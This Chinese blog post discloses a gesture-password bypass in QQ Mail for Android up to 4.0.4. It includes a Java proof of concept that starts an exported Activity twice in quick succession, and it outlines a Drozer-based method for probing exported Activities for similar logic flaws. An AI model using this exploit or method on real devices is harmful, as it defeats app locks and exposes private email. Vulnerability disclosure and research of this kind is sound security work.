QQ邮箱 for Android <= 4.0.4手势密码绕过

对于一个Android程序来说,没有一个统一的入口,任何导出的Activity都可以作为程序的入口。所以,如果在写程序的时候,没有考虑到每一个入口进入时的状态,就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个,连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC,结果那边回复说这是by design的,之后的沟通不了了之。

POC

  @Click
  void doEnterCalendarActivity() {
    (new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();
    finish();
  }
  private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {
    private String target_activity_name;
    public AccessQQMailTask(String activity_name) {
      super();
      target_activity_name = activity_name;
    }
    @Override
    protected void onPreExecute() {
    }
    void start_activity() {
      Intent intent = new Intent();
      intent.setClassName(tencent_mail_package_name, target_activity_name);
      startActivity(intent);
    }
    @Override
    protected Void doInBackground(Void... params) {
      try {
        start_activity();
        Thread.sleep(500);
        start_activity();
      } catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
      return null;
    }
    @Override
    protected void onPostExecute(Void result) {
    }
  }

完整代码见: https://github.com/TheCjw/Old-Android-POCs/tree/master/QQMailPatternLockBypass

半自动Fuzz

结合Drozer,并针对导出Activity进行一些逆向分析,可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz,因为很大程度上涉及到了业务逻辑,初始化环境和检测结果免不了人工干预,但我们当初还是进行了一些尝试。大体的步骤是这样的:

  1. 安装一些App,并登录帐号,进行设置。
  2. 编写了个drozer的插件,目的是获取导出的Activity,然后对Activity进行排列组合,产生不同的调用顺序。当时最多好像设置了3个。
  3. 之后,插件按照生成的顺序进行startActivity,每次startActivity设置一定的间隔。每组走完之后,获取顶层Activity,和之前启动的Activity进行对比,如果不是这两个Activity以及桌面的话,记录组合。
  4. 重放步骤3中记录到的组合,人工进行观测。最后,靠肉眼识别。

听起来是比较挫,但还稍微有点效果。Crash能搞出不少,还有我在TSRC提交的QQ和微云的手势密码绕过的漏洞,再有就是魅族任意修改锁屏密码之类的。由于需要过多的人工干预,这种方法已经放弃。

QQ邮箱 for Android <= 4.0.4手势密码绕过》有一个想法

  1. Pingback引用通告: 一周信息安全干货(第22期) – Guge's blog

发表评论